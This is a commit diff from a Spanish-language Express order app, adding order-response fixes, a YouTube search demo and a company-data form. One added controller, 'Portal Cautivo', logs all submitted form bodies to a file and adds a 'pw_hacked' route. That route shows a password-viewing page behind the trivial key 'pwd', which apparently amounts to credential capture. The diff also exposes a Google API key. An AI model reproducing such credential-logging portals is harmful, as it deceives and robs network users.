Correcion al enviar pedidos. al servidor. Generacion de Mensajes SnackBar
This commit is contained in:
Pablinux
@@ -86,6 +86,7 @@ app.get('/pruebaJson',function(req,res){
|
|||||||
|
|
||||||
//archivos staticos
|
//archivos staticos
|
||||||
app.use(express.static(path.join(__dirname, 'public')));
|
app.use(express.static(path.join(__dirname, 'public')));
|
||||||
|
//app.set('trust proxy', true);
|
||||||
|
|
||||||
//inicia servidor
|
//inicia servidor
|
||||||
app.listen(app.get('port'),() =>{
|
app.listen(app.get('port'),() =>{
|
||||||
|
|||||||
@@ -156,12 +156,12 @@ controlador.app_pedidos_clientes = (req, res) => {
|
|||||||
|
|
||||||
//CONSULTA CLIENTE CLOUD C.I-RUC => ruta:/busquedaSRI
|
//CONSULTA CLIENTE CLOUD C.I-RUC => ruta:/busquedaSRI
|
||||||
var data_url0 = 'http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php';
|
var data_url0 = 'http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php';
|
||||||
var data_url1 = "https://xsystem.ddns.net/app/clientes_cloud.php";
|
var data_url1 = "https://siax-system.net/app/clientes_cloud.php";
|
||||||
var data_url2 = "http://sheyla2.dyndns.info/SRI/SRI.php";
|
var data_url2 = "http://sheyla2.dyndns.info/SRI/SRI.php";
|
||||||
var data_url3 = "http://192.168.10.100:8000/test_post";
|
var data_url3 = "http://192.168.10.100:8000/test_post";
|
||||||
var arrayUrl = [
|
var arrayUrl = [
|
||||||
"http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php",
|
"http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php",
|
||||||
"https://xsystem.ddns.net/api/clientes_cloud.php",
|
"https://siax-system.net/api/clientes_cloud.php",
|
||||||
"http://sheyla2.dyndns.info/SRI/SRI.php",
|
"http://sheyla2.dyndns.info/SRI/SRI.php",
|
||||||
"http://192.168.10.100:8000/test_post",
|
"http://192.168.10.100:8000/test_post",
|
||||||
"solo testing"
|
"solo testing"
|
||||||
|
|||||||
@@ -243,7 +243,8 @@ controlador.recibe_pedidos = async (req, res) => {
|
|||||||
PedUsoPrdct_iva: json.iva,
|
PedUsoPrdct_iva: json.iva,
|
||||||
PedUsoPrdct_origen: json.origen
|
PedUsoPrdct_origen: json.origen
|
||||||
};
|
};
|
||||||
ingreso_pedido(req, pedido, json.items);
|
var id_ped = ingreso_pedido(req, pedido, json.items);
|
||||||
|
res.json({ id: id_ped, message: "Pedido Ingresado" });
|
||||||
//await console.log(await ingreso_pedido(req,pedido));
|
//await console.log(await ingreso_pedido(req,pedido));
|
||||||
//await ingreso_detalle(req, id_ped, json.items);
|
//await ingreso_detalle(req, id_ped, json.items);
|
||||||
};
|
};
|
||||||
@@ -262,10 +263,12 @@ async function ingreso_pedido(req, pedido_data, items) {
|
|||||||
ingreso_detalle(req, lastInsert, items)
|
ingreso_detalle(req, lastInsert, items)
|
||||||
//res.json({ sision: "ORDEN INGRESADA" });
|
//res.json({ sision: "ORDEN INGRESADA" });
|
||||||
//res.redirect('/clientes');//redireciona a la ruta inical de la app
|
//res.redirect('/clientes');//redireciona a la ruta inical de la app
|
||||||
|
return lastInsert;
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
async function ingreso_detalle(req, id_ped, data) {
|
async function ingreso_detalle(req, id_ped, data) {
|
||||||
//console.log("ID Pedido: "+id_ped);
|
//console.log("ID Pedido: "+id_ped);
|
||||||
for (var i = 0; i < data.length; i++) {
|
for (var i = 0; i < data.length; i++) {
|
||||||
@@ -329,5 +332,30 @@ controlador.recibe_datos = (req, res) => {
|
|||||||
//res.render('panel_control');
|
//res.render('panel_control');
|
||||||
};
|
};
|
||||||
|
|
||||||
|
//********** Portal Cautivo ********//
|
||||||
|
controlador.portal = (req, res) => {
|
||||||
|
console.log(req.body);
|
||||||
|
res.render('portal');
|
||||||
|
};
|
||||||
|
const {saveToFile} = require('../scripts/File_io');
|
||||||
|
controlador.portal_log = (req, res) => {
|
||||||
|
console.log(req.body);
|
||||||
|
saveToFile(req.body);
|
||||||
|
res.send(200);
|
||||||
|
};
|
||||||
|
|
||||||
|
//query => key: '1234567890',
|
||||||
|
controlador.pw_hacked = (req, res) => {
|
||||||
|
var hostname = req.headers.host;
|
||||||
|
var key = req.query.key;
|
||||||
|
console.log(req.query);
|
||||||
|
if(key==='pwd'){
|
||||||
|
res.render('ver_pass');
|
||||||
|
}else{
|
||||||
|
res.render('no_autorizado');
|
||||||
|
}
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
module.exports = controlador;
|
module.exports = controlador;
|
||||||
|
|||||||
17
src/public/Html/BusquedaYoutube.html
Normal file
17
src/public/Html/BusquedaYoutube.html
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Search</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div id="buttons">
|
||||||
|
<label> <input id="query" value='cats' type="text"/><button id="search-button" onclick="search()">Search</button></label>
|
||||||
|
</div>
|
||||||
|
<div id="search-container">
|
||||||
|
</div>
|
||||||
|
<script src="https://www.gstatic.com/external_hosted/jquery2.min.js"></script>
|
||||||
|
<script src="auth.js"></script>
|
||||||
|
<script src="search.js"></script>
|
||||||
|
<script src="https://apis.google.com/js/client.js?onload=googleApiClientReady"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
58
src/public/Html/auth.js
Normal file
58
src/public/Html/auth.js
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
// The client ID is obtained from the Google API Console
|
||||||
|
// at https://console.developers.google.com/.
|
||||||
|
// If you run this code from a server other than http://localhost,
|
||||||
|
// you need to register your own client ID.
|
||||||
|
var OAUTH2_CLIENT_ID = '361238658-ipvtecve83v9hmp037el45ebao4guqmm.apps.googleusercontent.com';
|
||||||
|
var OAUTH2_SCOPES = [
|
||||||
|
'https://www.googleapis.com/auth/youtube'
|
||||||
|
];
|
||||||
|
|
||||||
|
// Upon loading, the Google APIs JS client automatically invokes this callback.
|
||||||
|
googleApiClientReady = function() {
|
||||||
|
gapi.auth.init(function() {
|
||||||
|
window.setTimeout(checkAuth, 1);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attempt the immediate OAuth 2.0 client flow as soon as the page loads.
|
||||||
|
// If the currently logged-in Google Account has previously authorized
|
||||||
|
// the client specified as the OAUTH2_CLIENT_ID, then the authorization
|
||||||
|
// succeeds with no user intervention. Otherwise, it fails and the
|
||||||
|
// user interface that prompts for authorization needs to display.
|
||||||
|
function checkAuth() {
|
||||||
|
gapi.auth.authorize({
|
||||||
|
client_id: OAUTH2_CLIENT_ID,
|
||||||
|
scope: OAUTH2_SCOPES,
|
||||||
|
immediate: true
|
||||||
|
}, handleAuthResult);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle the result of a gapi.auth.authorize() call.
|
||||||
|
function handleAuthResult(authResult) {
|
||||||
|
if (authResult && !authResult.error) {
|
||||||
|
// Authorization was successful. Hide authorization prompts and show
|
||||||
|
// content that should be visible after authorization succeeds.
|
||||||
|
$('.pre-auth').hide();
|
||||||
|
$('.post-auth').show();
|
||||||
|
loadAPIClientInterfaces();
|
||||||
|
} else {
|
||||||
|
// Make the #login-link clickable. Attempt a non-immediate OAuth 2.0
|
||||||
|
// client flow. The current function is called when that flow completes.
|
||||||
|
$('#login-link').click(function() {
|
||||||
|
gapi.auth.authorize({
|
||||||
|
client_id: OAUTH2_CLIENT_ID,
|
||||||
|
scope: OAUTH2_SCOPES,
|
||||||
|
immediate: false
|
||||||
|
}, handleAuthResult);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load the client interfaces for the YouTube Analytics and Data APIs, which
|
||||||
|
// are required to use the Google APIs JS client. More info is available at
|
||||||
|
// https://developers.google.com/api-client-library/javascript/dev/dev_jscript#loading-the-client-library-and-the-api
|
||||||
|
function loadAPIClientInterfaces() {
|
||||||
|
gapi.client.load('youtube', 'v3', function() {
|
||||||
|
handleAPILoaded();
|
||||||
|
});
|
||||||
|
}
|
||||||
11
src/public/Html/contenedor.css
Normal file
11
src/public/Html/contenedor.css
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
.pantalla{
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
height: 90%;
|
||||||
|
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
.cubo{
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
4
src/public/Html/control.js
Normal file
4
src/public/Html/control.js
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
var listaRep = ['https://www.youtube.com/watch?v=wDk99yR4r8U&ab_channel=HombresG-Topic',''];
|
||||||
|
function controlYt(){
|
||||||
|
var rep = document.getElementById('ytplayer');
|
||||||
|
}
|
||||||
5524
src/public/Html/cv.html
Normal file
5524
src/public/Html/cv.html
Normal file
File diff suppressed because one or more lines are too long
422
src/public/Html/cv2.html
Normal file
422
src/public/Html/cv2.html
Normal file
File diff suppressed because one or more lines are too long
494
src/public/Html/formulario_creacionWebs.html
Normal file
494
src/public/Html/formulario_creacionWebs.html
Normal file
@@ -0,0 +1,494 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/css/materialize.min.css">
|
||||||
|
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.0.min.js"></script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/js/materialize.min.js"></script>
|
||||||
|
|
||||||
|
<!--Google Map-->
|
||||||
|
<script async defer
|
||||||
|
src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD_mGoJG4jAVG95O5BZuFe1eskSlWn5Q1M&callback=initMap">
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body class="container">
|
||||||
|
<ul class="collapsible" data-collapsible="accordion">
|
||||||
|
<!-- Datos web -->
|
||||||
|
<li>
|
||||||
|
<div class="collapsible-header">
|
||||||
|
<i class="material-icons">developer_board</i>Datos Web
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-body">
|
||||||
|
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||||
|
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="NombreEmpre" type="text" class="validate">
|
||||||
|
<label for="NombreEmpre">Nombre</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Slogan" type="text" class="validate">
|
||||||
|
<label for="Slogan">Slogan</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="QuienesSomos" type="text" class="validate">
|
||||||
|
<label for="QuienesSomos">Quienes Somos</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Mision" type="text" class="validate">
|
||||||
|
<label for="Mision">Mision</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Vision" type="text" class="validate">
|
||||||
|
<label for="Vision">Vision</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Orientacion" type="text" class="validate">
|
||||||
|
<label for="Orientacion">Orientacion</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<!-- Diseño -->
|
||||||
|
<li>
|
||||||
|
<div class="collapsible-header">
|
||||||
|
<i class="material-icons">view_quilt</i>Diseño
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-body">
|
||||||
|
<div id="conten_pedidoCliente">
|
||||||
|
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||||
|
<div class="input-field col s12">Colores</div>
|
||||||
|
|
||||||
|
<div class="input-field col s6">
|
||||||
|
|
||||||
|
<input id="Primario" type="text" class="validate">
|
||||||
|
<label for="Primario">Primario</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Secundario" type="text" class="validate">
|
||||||
|
<label for="Secundario">Secundario</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Tipo_Fuente" type="text" class="validate">
|
||||||
|
<label for="Tipo_Fuente">Tipo de Fuente</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6 file-field ">
|
||||||
|
<div>
|
||||||
|
<!-- <i class="material-icons left">folder_special</i> -->
|
||||||
|
<input id="logotipo" type="file" class="validate">
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="file-path-wrapper">
|
||||||
|
<input id="logotipo" class="file-path validate" type="text" placeholder="Buscar Logotipo">
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6 file-field ">
|
||||||
|
<div>
|
||||||
|
<!-- <i class="material-icons left">folder_special</i> -->
|
||||||
|
<input id="Isotipo" type="file" class="validate">
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="file-path-wrapper">
|
||||||
|
<input id="Isotipo" class="file-path validate" type="text" placeholder="Buscar Isotipo">
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<!-- Datos de la empresa -->
|
||||||
|
<li>
|
||||||
|
<div class="collapsible-header">
|
||||||
|
<i class="material-icons">store_mall_directory</i>Datos de la Empresa
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-body">
|
||||||
|
<div id="conten_DatosEmpresa">
|
||||||
|
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="ruc" type="text" class="validate">
|
||||||
|
<label for="ruc">RUC</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="telefono" type="text" class="validate">
|
||||||
|
<label for="telefono">Telefono</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s12">Geolocalizacion
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s1">
|
||||||
|
<div id="localizacion">
|
||||||
|
<a id="obtener" href="#mapmodel"
|
||||||
|
class="modal-trigger blue z-depth-1 waves-effect waves-light btn-floating">
|
||||||
|
<i class="material-icons">location_on</i>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="longitud" type="text" class="validate" readonly>
|
||||||
|
<span class="helper-text" data-error="wrong" data-success="right">Longitud</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="latitud" type="text" class="validate" readonly>
|
||||||
|
<span class="helper-text" data-error="wrong" data-success="right">Latitud</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="exactitud" type="text" class="validate" readonly>
|
||||||
|
<span class="helper-text" data-error="wrong" data-success="right"></span>Exactitud</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s12">Plataformas
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="WEB" type="checkbox" />
|
||||||
|
<label for="WEB">WEB </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="Whatsapp" type="checkbox" class="validate">
|
||||||
|
<label for="Whatsapp">Whatsapp </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="Telegram" type="checkbox" class="validate">
|
||||||
|
<label for="Telegram">Telegram </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="Weechat" type="checkbox" class="validate">
|
||||||
|
<label for="Weechat">Weechat </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="OtrasPla" type="text" class="validate">
|
||||||
|
<label for="OtrasPla">Otras</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="input-field col s12">Redes Sociales
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="Facebook" type="checkbox" class="validate">
|
||||||
|
<label for="Facebook">Facebook </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="Whatsapp" type="checkbox" class="validate">
|
||||||
|
<label for="Whatsapp">Whatsapp </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="Instagram" type="checkbox" class="validate">
|
||||||
|
<label for="Instagram">Instagram </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="twitter" type="checkbox" class="validate">
|
||||||
|
<label for="twitter">twitter </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s2">
|
||||||
|
<input id="OtrasRedes" type="text" class="validate">
|
||||||
|
<label for="OtrasRedes">Otras</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Direccion" type="text" class="validate">
|
||||||
|
<label for="Direccion">Direccion</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="horario" type="text" class="validate">
|
||||||
|
<label for="horario">Horario de Atencion</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<!-- Datos Cobro -->
|
||||||
|
<li>
|
||||||
|
<div class="collapsible-header">
|
||||||
|
<i class="material-icons">attach_money</i>Datos de Cobro de la Empresa hacia los Clientes
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-body">
|
||||||
|
<div id="conten_DatosCobro">
|
||||||
|
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||||
|
<div class="input-field col s12">Cuenta Bancaria 1
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Corriente1" name="group1" type="radio" class="validate with-gap">
|
||||||
|
<label for="Corriente1">Cta. Corriente </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Ahorros1" name="group1" type="radio" class="validate with-gap">
|
||||||
|
<label for="Ahorros1">Cta. Ahorros </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="NombreCta1" type="text" class="validate">
|
||||||
|
<label for="NombreCta1">Nombre </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Cuenta1" type="text" class="validate">
|
||||||
|
<label for="Cuenta1">Nª Cuenta</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Email1" type="email" class="validate">
|
||||||
|
<label for="Email1">Email</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Banco1" type="text" class="validate">
|
||||||
|
<label for="Banco1">Nombre del Banco</label>
|
||||||
|
</div>
|
||||||
|
<div class="input-field col s12">Cuenta Bancaria 2
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Corriente2" name="group1" type="radio" class="validate with-gap">
|
||||||
|
<label for="Corriente2">Cta. Corriente </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s6">
|
||||||
|
<input id="Ahorros2" name="group1" type="radio" class="validate with-gap">
|
||||||
|
<label for="Ahorros2">Cta. Ahorros </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="NombreCta2" type="text" class="validate">
|
||||||
|
<label for="NombreCta2">Nombre </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Cuenta2" type="text" class="validate">
|
||||||
|
<label for="Cuenta2">Nª Cuenta</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Email2" type="email" class="validate">
|
||||||
|
<label for="Email2">Email</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Banco2" type="text" class="validate">
|
||||||
|
<label for="Banco2">Nombre del Banco</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="input-field col s12">Pagos Electronicos
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="PayPal" type="checkbox" class="validate">
|
||||||
|
<label for="PayPal">PayPal </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Payphone" type="checkbox" class="validate">
|
||||||
|
<label for="Payphone">Payphone </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="Exchaege" type="checkbox" class="validate">
|
||||||
|
<label for="Exchaege">Exchaege </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div class="input-field col s3">
|
||||||
|
<input id="OtrosPaEl" type="text" class="validate">
|
||||||
|
<label for="OtrosPaEl">Otras</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s12">Envios
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s4">
|
||||||
|
<input id="CostoEnvio" type="text" class="validate">
|
||||||
|
<label for="CostoEnvio">Costo de Envio</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s4">
|
||||||
|
<input id="TiempoEnvio" type="text" class="validate">
|
||||||
|
<label for="TiempoEnvio">Tiempo de Envio</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s4">
|
||||||
|
<input id="Cobertura" type="text" class="validate">
|
||||||
|
<label for="Cobertura">Cobertura</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s12">Metodo de Envio
|
||||||
|
<hr>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s4">
|
||||||
|
<input id="Servientrega" type="checkbox" class="validate">
|
||||||
|
<label for="Servientrega">Servientrega </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s4">
|
||||||
|
<input id="TramacoExpress" type="checkbox" class="validate">
|
||||||
|
<label for="TramacoExpress">TramacoExpress </label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-field col s4">
|
||||||
|
<input id="Otras" type="text" class="validate">
|
||||||
|
<label for="Otras">Otras</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<!-- Correos -->
|
||||||
|
<li>
|
||||||
|
<div class="collapsible-header">
|
||||||
|
<i class="material-icons">account_circle</i>Correos
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-body">
|
||||||
|
<p>
|
||||||
|
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<button class="btn waves-effect waves-light" onclick="EnviarDatos()" type="submit" name="action">Guardar
|
||||||
|
<i class="material-icons right">send</i>
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<div id="mapmodel" class="modal modal-fixed-footer">
|
||||||
|
<div class="modal-content">
|
||||||
|
<h4>map div inside model:</h4>
|
||||||
|
<div id="googleMap2" style="width:500px;height:380px;"></div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<a href="#" class="red modal-action modal-close waves-effect waves-green btn-flat">Got it</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script type="text/javascript">
|
||||||
|
function iniciar() {
|
||||||
|
|
||||||
|
var boton = document.getElementById('obtener');
|
||||||
|
|
||||||
|
boton.addEventListener('click', obtener, false);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function obtener() { navigator.geolocation.getCurrentPosition(mostrar, gestionarErrores); }
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function mostrar(posicion) {
|
||||||
|
var latitud = posicion.coords.latitude;
|
||||||
|
var longitud = posicion.coords.longitude;
|
||||||
|
var exactitud = posicion.coords.accuracy;
|
||||||
|
document.getElementById('latitud').value = latitud;
|
||||||
|
document.getElementById('longitud').value = longitud;
|
||||||
|
document.getElementById('exactitud').value = exactitud + " metros";
|
||||||
|
cargarMapa(latitud, longitud)
|
||||||
|
}
|
||||||
|
|
||||||
|
function cargarMapa(latitud, longitud) {
|
||||||
|
var mapProp = {
|
||||||
|
center: new google.maps.LatLng(latitud, longitud),
|
||||||
|
zoom: 14,
|
||||||
|
mapTypeId: google.maps.MapTypeId.ROADMAP
|
||||||
|
};
|
||||||
|
|
||||||
|
var map2 = new google.maps.Map(document.getElementById("googleMap2"), mapProp);
|
||||||
|
var marker = new google.maps.Marker({
|
||||||
|
position: { lat: latitud, lng: longitud },
|
||||||
|
mapProp: mapProp,
|
||||||
|
draggable: true,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
google.maps.event.addDomListener(window, 'load', cargarMapa);
|
||||||
|
|
||||||
|
$(document).ready(function () {
|
||||||
|
//MAKE SURE YOU CALL .leanModal METHOD THIS WAY.
|
||||||
|
//ELSE MODAL MAP WILL NOT SHOW PROPERLY.
|
||||||
|
$('.modal-trigger').leanModal({
|
||||||
|
ready: function () {
|
||||||
|
var map2 = document.getElementById("googleMap2");
|
||||||
|
google.maps.event.trigger(map2, 'resize');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
function gestionarErrores(error) {
|
||||||
|
|
||||||
|
alert('Error: ' + error.code + ' ' + error.message + '\n\nPor favor compruebe que está conectado ' +
|
||||||
|
|
||||||
|
'a internet y habilite la opción permitir compartir ubicación física');
|
||||||
|
|
||||||
|
}
|
||||||
|
window.addEventListener('load', iniciar, false);
|
||||||
|
|
||||||
|
|
||||||
|
function EnviarDatos(){
|
||||||
|
|
||||||
|
//var NomEmpre = document.getElementById('NombreEmpre').value;
|
||||||
|
//var Slog = document.getElementById('Slogan').value;
|
||||||
|
//var QuiSo = document.getElementById('QuienesSomos').value;
|
||||||
|
//var Misi = document.getElementById('Mision').value;
|
||||||
|
//var Visi = document.getElementById('Vision').value;
|
||||||
|
//var Orie = document.getElementById('Orientacion').value;
|
||||||
|
|
||||||
|
//var ColPrim = document.getElementById('Primario').value;
|
||||||
|
//var ColSecu = document.getElementById('Secundario').value;
|
||||||
|
//var TiFu = document.getElementById('Tipo_Fuente').value;
|
||||||
|
//var Logo = document.getElementById('Logotipo').value;
|
||||||
|
//var Isot = document.getElementById('Isotipo').value;
|
||||||
|
|
||||||
|
//var ruc = document.getElementById('RUC').value;
|
||||||
|
//var telefono = document.getElementById('Telefono').value;
|
||||||
|
//var longitud = document.getElementById('longitud').value;
|
||||||
|
//var latitud = document.getElementById('latitud').value;
|
||||||
|
//var exactitud = document.getElementById('exactitud').value;
|
||||||
|
var web = document.getElementById('W').value;
|
||||||
|
var whatsapp = document.getElementById('Whatsapp').value;
|
||||||
|
var telegram = document.getElementById('Telegram').value;
|
||||||
|
var weechat = document.getElementById('Weechat').value;
|
||||||
|
var otras = document.getElementById('OtrasPla').value;
|
||||||
|
|
||||||
|
//var DaWeb = {"Nombre":NomEmpre,"Slogan":Slog};
|
||||||
|
console.log(web)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
|
||||||
|
</html>
|
||||||
130
src/public/Html/menu.css
Normal file
130
src/public/Html/menu.css
Normal file
@@ -0,0 +1,130 @@
|
|||||||
|
@import url('http://fonts.googleapis.com/css?family=Poppins:100,200,300,400,500,600,700,800,900');
|
||||||
|
*
|
||||||
|
{
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
font-family:'Poppins',sans-serif;
|
||||||
|
}
|
||||||
|
:root{
|
||||||
|
--clr:#222327;
|
||||||
|
--clr0:#050505;
|
||||||
|
}
|
||||||
|
body{
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 100vh;
|
||||||
|
/*background: var(--clr);*/
|
||||||
|
}
|
||||||
|
.container{
|
||||||
|
display: flex;
|
||||||
|
justify-content:center;
|
||||||
|
align-items: center;
|
||||||
|
width: 420px;
|
||||||
|
height:600px;
|
||||||
|
background: var(--clr)
|
||||||
|
}
|
||||||
|
.navigation{
|
||||||
|
width: 400px;
|
||||||
|
height:70px;
|
||||||
|
background: #fff;
|
||||||
|
border-radius: 10px;
|
||||||
|
